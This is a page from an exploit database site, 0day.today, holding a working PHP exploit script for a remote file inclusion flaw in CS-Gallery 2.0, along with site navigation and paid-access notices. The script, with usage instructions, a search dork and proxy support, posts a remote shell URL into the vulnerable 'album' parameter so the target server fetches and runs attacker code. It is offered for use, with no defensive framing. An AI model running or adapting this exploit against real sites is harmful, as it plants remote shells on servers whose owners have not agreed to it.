0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
CS-Gallery 2.0 (index.php album) Remote File Include Exploit
[============================================================
CS-Gallery 2.0 (index.php album) Remote File Include Exploit
============================================================
<?php
//File Inclusion Exploit for CS_Gallery <= 2.0
//|
//Vendor: http://www.cschneider.de/
//Dork: www.cschneider.info
//|
//Bug in "index.php":
//..
//$codefile=$_POST['album'].'/code.php';
//include $codefile;
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
//Example: php exploit.php http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)
//|
//Your Box Needs the cURL extension of PHP
//The exploit works only with allow_url_fopen = On and allow_url_include = On PHP settings on the target box
//|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
//Added proxy support, working conditions supplemented and easier file inclusion statement
//Nur ausnahme Fehler anzeigen
error_reporting(1);
echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";
//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{
$pathtoscript = $_SERVER["argv"][1];
$pathtoshell = $_SERVER["argv"][2];
//erzeuge ein neues cURL Handle
$ch = curl_init();
//proxy setzen
if (!empty($_SERVER['argv'][3]))
{
curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
}
//setzte die URL und andere Optionen
curl_setopt($ch, CURLOPT_URL, $pathtoscript."index.php?todo=securealbum");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "album=".$pathtoshell);
//f?hre die Aktion aus
curl_exec($ch);
//schlie?e das Handle und gebe Systemresourcen frei
curl_close($ch);
}
?>
# 0day.today [2024-12-26] #